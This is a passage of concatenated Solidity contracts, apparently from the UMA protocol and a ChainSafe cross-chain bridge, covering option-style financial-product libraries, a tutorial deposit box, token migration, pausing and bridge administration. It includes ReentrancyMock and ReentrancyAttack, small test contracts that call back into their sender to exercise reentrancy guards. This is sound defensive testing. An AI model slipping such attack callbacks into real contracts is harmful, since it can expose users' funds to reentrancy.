require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductTransformedIdentifiers[financialProduct] = transformedIdentifier;
}
/**
* @notice Returns the transformed identifier associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return transformed identifier for the associated financial product.
*/
function getTransformedIdentifierForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (bytes32)
{
return financialProductTransformedIdentifiers[financialProduct];
}
/**
* @notice Returns a transformed price identifier if the contract is post-expiration and no transformation if pre.
* @param identifier input price identifier to be transformed.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPriceIdentifier the input price identifier with the transformation logic applied to it.
*/
function transformPriceIdentifier(bytes32 identifier, uint256 requestTime)
public
view
override
nonReentrantView()
returns (bytes32)
{
require(financialProductTransformedIdentifiers[msg.sender] != "", "Caller has no transformation");
// If the request time is after contract expiration then return the transformed identifier. Else, return the
// original price identifier.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return identifier;
} else {
return financialProductTransformedIdentifiers[msg.sender];
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title KPI Options Financial Product Library
* @notice Adds custom tranformation logic to modify the price and collateral requirement behavior of the expiring multi party contract.
* If a price request is made pre-expiry, the price should always be set to 2 and the collateral requirement should be set to 1.
* Post-expiry, the collateral requirement is left as 1 and the price is left unchanged.
*/
contract KpiOptionsFinancialProductLibrary is FinancialProductLibrary, Lockable {
/**
* @notice Returns a transformed price for pre-expiry price requests.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
// If price request is made before expiry, return 2. Thus we can keep the contract 100% collateralized with
// each token backed 1:2 by collateral currency. Post-expiry, leave unchanged.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(2);
} else {
return oraclePrice;
}
}
/**
* @notice Returns a transformed collateral requirement that is set to be equivalent to 2 tokens pre-expiry.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled to a flat rate.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
// Always return 1.
return FixedPoint.fromUnscaledUint(1);
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title CoveredCall Financial Product Library
* @notice Adds custom price transformation logic to modify the behavior of the expiring multi party contract. The
* contract holds say 1 WETH in collateral and pays out a portion of that, at expiry, if ETHUSD is above a set strike. If
* ETHUSD is below that strike, the contract pays out 0. The fraction paid out if above the strike is defined by
* (oraclePrice - strikePrice) / oraclePrice;
* Example: expiry is DEC 31. Strike is $400. Each token is backed by 1 WETH.
* If ETHUSD = $600 at expiry, the call is $200 in the money, and the contract pays out 0.333 WETH (worth $200).
* If ETHUSD = $800 at expiry, the call is $400 in the money, and the contract pays out 0.5 WETH (worth $400).
* If ETHUSD =< $400 at expiry, the call is out of the money, and the contract pays out 0 WETH.
*/
contract CoveredCallFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => FixedPoint.Unsigned) private financialProductStrikes;
/**
* @notice Enables any address to set the strike price for an associated financial product.
* @param financialProduct address of the financial product.
* @param strikePrice the strike price for the covered call to be applied to the financial product.
* @dev Note: a) Any address can set the initial strike price b) A strike price cannot be 0.
* c) A strike price can only be set once to prevent the deployer from changing the strike after the fact.
* d) For safety, a strike price should be set before depositing any synthetic tokens in a liquidity pool.
* e) financialProduct must expose an expirationTimestamp method.
*/
function setFinancialProductStrike(address financialProduct, FixedPoint.Unsigned memory strikePrice)
public
nonReentrant()
{
require(strikePrice.isGreaterThan(0), "Cant set 0 strike");
require(financialProductStrikes[financialProduct].isEqual(0), "Strike already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductStrikes[financialProduct] = strikePrice;
}
/**
* @notice Returns the strike price associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return strikePrice for the associated financial product.
*/
function getStrikeForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return financialProductStrikes[financialProduct];
}
/**
* @notice Returns a transformed price by applying the call option payout structure.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If price request is made before expiry, return 1. Thus we can keep the contract 100% collateralized with
// each token backed 1:1 by collateral currency.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(1);
}
if (oraclePrice.isLessThanOrEqual(strike)) {
return FixedPoint.fromUnscaledUint(0);
} else {
// Token expires to be worth the fraction of a collateral token that's in the money.
// eg if ETHUSD is $500 and strike is $400, token is redeemable for 100/500 = 0.2 WETH (worth $100).
// Note: oraclePrice cannot be 0 here because it would always satisfy the if above because 0 <= x is always
// true.
return (oraclePrice.sub(strike)).div(oraclePrice);
}
}
/**
* @notice Returns a transformed collateral requirement by applying the covered call payout structure.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled according to price and strike.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// Always return 1 because option must be collateralized by 1 token.
return FixedPoint.fromUnscaledUint(1);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Lockable.sol";
import "./ReentrancyAttack.sol";
// Tests reentrancy guards defined in Lockable.sol.
// Extends https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/mocks/ReentrancyMock.sol.
contract ReentrancyMock is Lockable {
uint256 public counter;
constructor() public {
counter = 0;
}
function callback() external nonReentrant {
_count();
}
function countAndSend(ReentrancyAttack attacker) external nonReentrant {
_count();
bytes4 func = bytes4(keccak256("callback()"));
attacker.callSender(func);
}
function countAndCall(ReentrancyAttack attacker) external nonReentrant {
_count();
bytes4 func = bytes4(keccak256("getCount()"));
attacker.callSender(func);
}
function countLocalRecursive(uint256 n) public nonReentrant {
if (n > 0) {
_count();
countLocalRecursive(n - 1);
}
}
function countThisRecursive(uint256 n) public nonReentrant {
if (n > 0) {
_count();
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(abi.encodeWithSignature("countThisRecursive(uint256)", n - 1));
require(success, "ReentrancyMock: failed call");
}
}
function countLocalCall() public nonReentrant {
getCount();
}
function countThisCall() public nonReentrant {
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(abi.encodeWithSignature("getCount()"));
require(success, "ReentrancyMock: failed call");
}
function getCount() public view nonReentrantView returns (uint256) {
return counter;
}
function _count() private {
counter += 1;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
// Tests reentrancy guards defined in Lockable.sol.
// Copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/mocks/ReentrancyAttack.sol.
contract ReentrancyAttack {
function callSender(bytes4 data) public {
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = msg.sender.call(abi.encodeWithSelector(data));
require(success, "ReentrancyAttack: failed call");
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../common/FeePayer.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/implementation/ContractCreator.sol";
/**
* @title Token Deposit Box
* @notice This is a minimal example of a financial template that depends on price requests from the DVM.
* This contract should be thought of as a "Deposit Box" into which the user deposits some ERC20 collateral.
* The main feature of this box is that the user can withdraw their ERC20 corresponding to a desired USD amount.
* When the user wants to make a withdrawal, a price request is enqueued with the UMA DVM.
* For simplicty, the user is constrained to have one outstanding withdrawal request at any given time.
* Regular fees are charged on the collateral in the deposit box throughout the lifetime of the deposit box,
* and final fees are charged on each price request.
*
* This example is intended to accompany a technical tutorial for how to integrate the DVM into a project.
* The main feature this demo serves to showcase is how to build a financial product on-chain that "pulls" price
* requests from the DVM on-demand, which is an implementation of the "priceless" oracle framework.
*
* The typical user flow would be:
* - User sets up a deposit box for the (wETH - USD) price-identifier. The "collateral currency" in this deposit
* box is therefore wETH.
* The user can subsequently make withdrawal requests for USD-denominated amounts of wETH.
* - User deposits 10 wETH into their deposit box.
* - User later requests to withdraw $100 USD of wETH.
* - DepositBox asks DVM for latest wETH/USD exchange rate.
* - DVM resolves the exchange rate at: 1 wETH is worth 200 USD.
* - DepositBox transfers 0.5 wETH to user.
*/
contract DepositBox is FeePayer, ContractCreator {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
// Represents a single caller's deposit box. All collateral is held by this contract.
struct DepositBoxData {
// Requested amount of collateral, denominated in quote asset of the price identifier.
// Example: If the price identifier is wETH-USD, and the `withdrawalRequestAmount = 100`, then
// this represents a withdrawal request for 100 USD worth of wETH.
FixedPoint.Unsigned withdrawalRequestAmount;
// Timestamp of the latest withdrawal request. A withdrawal request is pending if `requestPassTimestamp != 0`.
uint256 requestPassTimestamp;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
}
// Maps addresses to their deposit boxes. Each address can have only one position.
mapping(address => DepositBoxData) private depositBoxes;
// Unique identifier for DVM price feed ticker.
bytes32 private priceIdentifier;
// Similar to the rawCollateral in DepositBoxData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned private rawTotalDepositBoxCollateral;
// This blocks every public state-modifying method until it flips to true, via the `initialize()` method.
bool private initialized;
/****************************************
* EVENTS *
****************************************/
event NewDepositBox(address indexed user);
event EndedDepositBox(address indexed user);
event Deposit(address indexed user, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed user, uint256 indexed collateralAmount, uint256 requestPassTimestamp);
event RequestWithdrawalExecuted(
address indexed user,
uint256 indexed collateralAmount,
uint256 exchangeRate,
uint256 requestPassTimestamp
);
event RequestWithdrawalCanceled(
address indexed user,
uint256 indexed collateralAmount,
uint256 requestPassTimestamp
);
/****************************************
* MODIFIERS *
****************************************/
modifier noPendingWithdrawal(address user) {
_depositBoxHasNoPendingWithdrawal(user);
_;
}
modifier isInitialized() {
_isInitialized();
_;
}
/****************************************
* PUBLIC FUNCTIONS *
****************************************/
/**
* @notice Construct the DepositBox.
* @param _collateralAddress ERC20 token to be deposited.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM, used to price the ERC20 deposited.
* The price identifier consists of a "base" asset and a "quote" asset. The "base" asset corresponds to the collateral ERC20
* currency deposited into this account, and it is denominated in the "quote" asset on withdrawals.
* An example price identifier would be "ETH-USD" which will resolve and return the USD price of ETH.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _collateralAddress,
address _finderAddress,
bytes32 _priceIdentifier,
address _timerAddress
)
public
ContractCreator(_finderAddress)
FeePayer(_collateralAddress, _finderAddress, _timerAddress)
nonReentrant()
{
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier), "Unsupported price identifier");
priceIdentifier = _priceIdentifier;
}
/**
* @notice This should be called after construction of the DepositBox and handles registration with the Registry, which is required
* to make price requests in production environments.
* @dev This contract must hold the `ContractCreator` role with the Registry in order to register itself as a financial-template with the DVM.
* Note that `_registerContract` cannot be called from the constructor because this contract first needs to be given the `ContractCreator` role
* in order to register with the `Registry`. But, its address is not known until after deployment.
*/
function initialize() public nonReentrant() {
initialized = true;
_registerContract(new address[](0), address(this));
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into caller's deposit box.
* @dev This contract must be approved to spend at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public isInitialized() fees() nonReentrant() {
require(collateralAmount.isGreaterThan(0), "Invalid collateral amount");
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
if (_getFeeAdjustedCollateral(depositBoxData.rawCollateral).isEqual(0)) {
emit NewDepositBox(msg.sender);
}
// Increase the individual deposit box and global collateral balance by collateral amount.
_incrementCollateralBalances(depositBoxData, collateralAmount);
emit Deposit(msg.sender, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Starts a withdrawal request that allows the sponsor to withdraw `denominatedCollateralAmount`
* from their position denominated in the quote asset of the price identifier, following a DVM price resolution.
* @dev The request will be pending for the duration of the DVM vote and can be cancelled at any time.
* Only one withdrawal request can exist for the user.
* @param denominatedCollateralAmount the quote-asset denominated amount of collateral requested to withdraw.
*/
function requestWithdrawal(FixedPoint.Unsigned memory denominatedCollateralAmount)
public
isInitialized()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(denominatedCollateralAmount.isGreaterThan(0), "Invalid collateral amount");
// Update the position object for the user.
depositBoxData.withdrawalRequestAmount = denominatedCollateralAmount;
depositBoxData.requestPassTimestamp = getCurrentTime();
emit RequestWithdrawal(msg.sender, denominatedCollateralAmount.rawValue, depositBoxData.requestPassTimestamp);
// Every price request costs a fixed fee. Check that this user has enough deposited to cover the final fee.
FixedPoint.Unsigned memory finalFee = _computeFinalFees();
require(
_getFeeAdjustedCollateral(depositBoxData.rawCollateral).isGreaterThanOrEqual(finalFee),
"Cannot pay final fee"
);
_payFinalFees(address(this), finalFee);
// A price request is sent for the current timestamp.
_requestOraclePrice(depositBoxData.requestPassTimestamp);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and subsequent DVM price resolution),
* withdraws `depositBoxData.withdrawalRequestAmount` of collateral currency denominated in the quote asset.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function executeWithdrawal()
external
isInitialized()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(
depositBoxData.requestPassTimestamp != 0 && depositBoxData.requestPassTimestamp <= getCurrentTime(),
"Invalid withdraw request"
);
// Get the resolved price or revert.
FixedPoint.Unsigned memory exchangeRate = _getOraclePrice(depositBoxData.requestPassTimestamp);
// Calculate denomated amount of collateral based on resolved exchange rate.
// Example 1: User wants to withdraw $100 of ETH, exchange rate is $200/ETH, therefore user to receive 0.5 ETH.
// Example 2: User wants to withdraw $250 of ETH, exchange rate is $200/ETH, therefore user to receive 1.25 ETH.
FixedPoint.Unsigned memory denominatedAmountToWithdraw =
depositBoxData.withdrawalRequestAmount.div(exchangeRate);
// If withdrawal request amount is > collateral, then withdraw the full collateral amount and delete the deposit box data.
if (denominatedAmountToWithdraw.isGreaterThan(_getFeeAdjustedCollateral(depositBoxData.rawCollateral))) {
denominatedAmountToWithdraw = _getFeeAdjustedCollateral(depositBoxData.rawCollateral);
// Reset the position state as all the value has been removed after settlement.
emit EndedDepositBox(msg.sender);
}
// Decrease the individual deposit box and global collateral balance.
amountWithdrawn = _decrementCollateralBalances(depositBoxData, denominatedAmountToWithdraw);
emit RequestWithdrawalExecuted(
msg.sender,
amountWithdrawn.rawValue,
exchangeRate.rawValue,
depositBoxData.requestPassTimestamp
);
// Reset withdrawal request by setting withdrawal request timestamp to 0.
_resetWithdrawalRequest(depositBoxData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external isInitialized() nonReentrant() {
DepositBoxData storage depositBoxData = depositBoxes[msg.sender];
require(depositBoxData.requestPassTimestamp != 0, "No pending withdrawal");
emit RequestWithdrawalCanceled(
msg.sender,
depositBoxData.withdrawalRequestAmount.rawValue,
depositBoxData.requestPassTimestamp
);
// Reset withdrawal request by setting withdrawal request timestamp to 0.
_resetWithdrawalRequest(depositBoxData);
}
/**
* @notice `emergencyShutdown` and `remargin` are required to be implemented by all financial contracts and exposed to the DVM, but
* because this is a minimal demo they will simply exit silently.
*/
function emergencyShutdown() external override isInitialized() nonReentrant() {
return;
}
/**
* @notice Same comment as `emergencyShutdown`. For the sake of simplicity, this will simply exit silently.
*/
function remargin() external override isInitialized() nonReentrant() {
return;
}
/**
* @notice Accessor method for a user's collateral.
* @dev This is necessary because the struct returned by the depositBoxes() method shows
* rawCollateral, which isn't a user-readable value.
* @param user address whose collateral amount is retrieved.
* @return the fee-adjusted collateral amount in the deposit box (i.e. available for withdrawal).
*/
function getCollateral(address user) external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(depositBoxes[user].rawCollateral);
}
/**
* @notice Accessor method for the total collateral stored within the entire contract.
* @return the total fee-adjusted collateral amount in the contract (i.e. across all users).
*/
function totalDepositBoxCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Requests a price for `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePrice(uint256 requestedTime) internal {
OracleInterface oracle = _getOracle();
oracle.requestPrice(priceIdentifier, requestedTime);
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
DepositBoxData storage depositBoxData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(depositBoxData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalDepositBoxCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
DepositBoxData storage depositBoxData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(depositBoxData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalDepositBoxCollateral, collateralAmount);
}
function _resetWithdrawalRequest(DepositBoxData storage depositBoxData) internal {
depositBoxData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
depositBoxData.requestPassTimestamp = 0;
}
function _depositBoxHasNoPendingWithdrawal(address user) internal view {
require(depositBoxes[user].requestPassTimestamp == 0, "Pending withdrawal");
}
function _isInitialized() internal view {
require(initialized, "Uninitialized contract");
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) {
OracleInterface oracle = _getOracle();
require(oracle.hasPrice(priceIdentifier, requestedTime), "Unresolved oracle price");
int256 oraclePrice = oracle.getPrice(priceIdentifier, requestedTime);
// For simplicity we don't want to deal with negative prices.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return FixedPoint.Unsigned(uint256(oraclePrice));
}
// `_pfc()` is inherited from FeePayer and must be implemented to return the available pool of collateral from
// which fees can be charged. For this contract, the available fee pool is simply all of the collateral locked up in the
// contract.
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "./VotingToken.sol";
/**
* @title Migration contract for VotingTokens.
* @dev Handles migrating token holders from one token to the next.
*/
contract TokenMigrator {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
VotingToken public oldToken;
ExpandedIERC20 public newToken;
uint256 public snapshotId;
FixedPoint.Unsigned public rate;
mapping(address => bool) public hasMigrated;
/**
* @notice Construct the TokenMigrator contract.
* @dev This function triggers the snapshot upon which all migrations will be based.
* @param _rate the number of old tokens it takes to generate one new token.
* @param _oldToken address of the token being migrated from.
* @param _newToken address of the token being migrated to.
*/
constructor(
FixedPoint.Unsigned memory _rate,
address _oldToken,
address _newToken
) public {
// Prevents division by 0 in migrateTokens().
// Also it doesn’t make sense to have “0 old tokens equate to 1 new token”.
require(_rate.isGreaterThan(0), "Rate can't be 0");
rate = _rate;
newToken = ExpandedIERC20(_newToken);
oldToken = VotingToken(_oldToken);
snapshotId = oldToken.snapshot();
}
/**
* @notice Migrates the tokenHolder's old tokens to new tokens.
* @dev This function can only be called once per `tokenHolder`. Anyone can call this method
* on behalf of any other token holder since there is no disadvantage to receiving the tokens earlier.
* @param tokenHolder address of the token holder to migrate.
*/
function migrateTokens(address tokenHolder) external {
require(!hasMigrated[tokenHolder], "Already migrated tokens");
hasMigrated[tokenHolder] = true;
FixedPoint.Unsigned memory oldBalance = FixedPoint.Unsigned(oldToken.balanceOfAt(tokenHolder, snapshotId));
if (!oldBalance.isGreaterThan(0)) {
return;
}
FixedPoint.Unsigned memory newBalance = oldBalance.div(rate);
require(newToken.mint(tokenHolder, newBalance.rawValue), "Mint failed");
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/ExpandedERC20.sol";
contract TokenSender {
function transferERC20(
address tokenAddress,
address recipientAddress,
uint256 amount
) public returns (bool) {
IERC20 token = IERC20(tokenAddress);
token.transfer(recipientAddress, amount);
return true;
}
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./IDepositExecute.sol";
import "./IBridge.sol";
import "./IERCHandler.sol";
import "./IGenericHandler.sol";
/**
@title Facilitates deposits, creation and votiing of deposit proposals, and deposit executions.
@author ChainSafe Systems.
*/
contract Bridge is Pausable, AccessControl {
using SafeMath for uint256;
uint8 public _chainID;
uint256 public _relayerThreshold;
uint256 public _totalRelayers;
uint256 public _totalProposals;
uint256 public _fee;
uint256 public _expiry;
enum Vote { No, Yes }
enum ProposalStatus { Inactive, Active, Passed, Executed, Cancelled }
struct Proposal {
bytes32 _resourceID;
bytes32 _dataHash;
address[] _yesVotes;
address[] _noVotes;
ProposalStatus _status;
uint256 _proposedBlock;
}
// destinationChainID => number of deposits
mapping(uint8 => uint64) public _depositCounts;
// resourceID => handler address
mapping(bytes32 => address) public _resourceIDToHandlerAddress;
// depositNonce => destinationChainID => bytes
mapping(uint64 => mapping(uint8 => bytes)) public _depositRecords;
// destinationChainID + depositNonce => dataHash => Proposal
mapping(uint72 => mapping(bytes32 => Proposal)) public _proposals;
// destinationChainID + depositNonce => dataHash => relayerAddress => bool
mapping(uint72 => mapping(bytes32 => mapping(address => bool))) public _hasVotedOnProposal;
event RelayerThresholdChanged(uint256 indexed newThreshold);
event RelayerAdded(address indexed relayer);
event RelayerRemoved(address indexed relayer);
event Deposit(uint8 indexed destinationChainID, bytes32 indexed resourceID, uint64 indexed depositNonce);
event ProposalEvent(
uint8 indexed originChainID,
uint64 indexed depositNonce,
ProposalStatus indexed status,
bytes32 resourceID,
bytes32 dataHash
);
event ProposalVote(
uint8 indexed originChainID,
uint64 indexed depositNonce,
ProposalStatus indexed status,
bytes32 resourceID
);
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
modifier onlyAdmin() {
_onlyAdmin();
_;
}
modifier onlyAdminOrRelayer() {
_onlyAdminOrRelayer();
_;
}
modifier onlyRelayers() {
_onlyRelayers();
_;
}
function _onlyAdminOrRelayer() private {
require(
hasRole(DEFAULT_ADMIN_ROLE, msg.sender) || hasRole(RELAYER_ROLE, msg.sender),
"sender is not relayer or admin"
);
}
function _onlyAdmin() private {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "sender doesn't have admin role");
}
function _onlyRelayers() private {
require(hasRole(RELAYER_ROLE, msg.sender), "sender doesn't have relayer role");
}
/**
@notice Initializes Bridge, creates and grants {msg.sender} the admin role,
creates and grants {initialRelayers} the relayer role.
@param chainID ID of chain the Bridge contract exists on.
@param initialRelayers Addresses that should be initially granted the relayer role.
@param initialRelayerThreshold Number of votes needed for a deposit proposal to be considered passed.
*/
constructor(
uint8 chainID,
address[] memory initialRelayers,
uint256 initialRelayerThreshold,
uint256 fee,
uint256 expiry
) public {
_chainID = chainID;
_relayerThreshold = initialRelayerThreshold;
_fee = fee;
_expiry = expiry;
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setRoleAdmin(RELAYER_ROLE, DEFAULT_ADMIN_ROLE);
for (uint256 i; i < initialRelayers.length; i++) {
grantRole(RELAYER_ROLE, initialRelayers[i]);
_totalRelayers++;
}
}
/**
@notice Returns true if {relayer} has the relayer role.
@param relayer Address to check.
*/
function isRelayer(address relayer) external view returns (bool) {
return hasRole(RELAYER_ROLE, relayer);
}
/**
@notice Removes admin role from {msg.sender} and grants it to {newAdmin}.
@notice Only callable by an address that currently has the admin role.
@param newAdmin Address that admin role will be granted to.
*/
function renounceAdmin(address newAdmin) external onlyAdmin {
grantRole(DEFAULT_ADMIN_ROLE, newAdmin);
renounceRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
/**
@notice Pauses deposits, proposal creation and voting, and deposit executions.
@notice Only callable by an address that currently has the admin role.
*/
function adminPauseTransfers() external onlyAdmin {
_pause();
}
/**
@notice Unpauses deposits, proposal creation and voting, and deposit executions.
@notice Only callable by an address that currently has the admin role.
*/
function adminUnpauseTransfers() external onlyAdmin {
_unpause();
}
/**
@notice Modifies the number of votes required for a proposal to be considered passed.
@notice Only callable by an address that currently has the admin role.
@param newThreshold Value {_relayerThreshold} will be changed to.
@notice Emits {RelayerThresholdChanged} event.
*/
function adminChangeRelayerThreshold(uint256 newThreshold) external onlyAdmin {
_relayerThreshold = newThreshold;
emit RelayerThresholdChanged(newThreshold);
}
/**
@notice Grants {relayerAddress} the relayer role and increases {_totalRelayer} count.
@notice Only callable by an address that currently has the admin role.
@param relayerAddress Address of relayer to be added.
@notice Emits {RelayerAdded} event.
*/
function adminAddRelayer(address relayerAddress) external onlyAdmin {
require(!hasRole(RELAYER_ROLE, relayerAddress), "addr already has relayer role!");
grantRole(RELAYER_ROLE, relayerAddress);
emit RelayerAdded(relayerAddress);
_totalRelayers++;
}
/**
@notice Removes relayer role for {relayerAddress} and decreases {_totalRelayer} count.
@notice Only callable by an address that currently has the admin role.
@param relayerAddress Address of relayer to be removed.
@notice Emits {RelayerRemoved} event.
*/
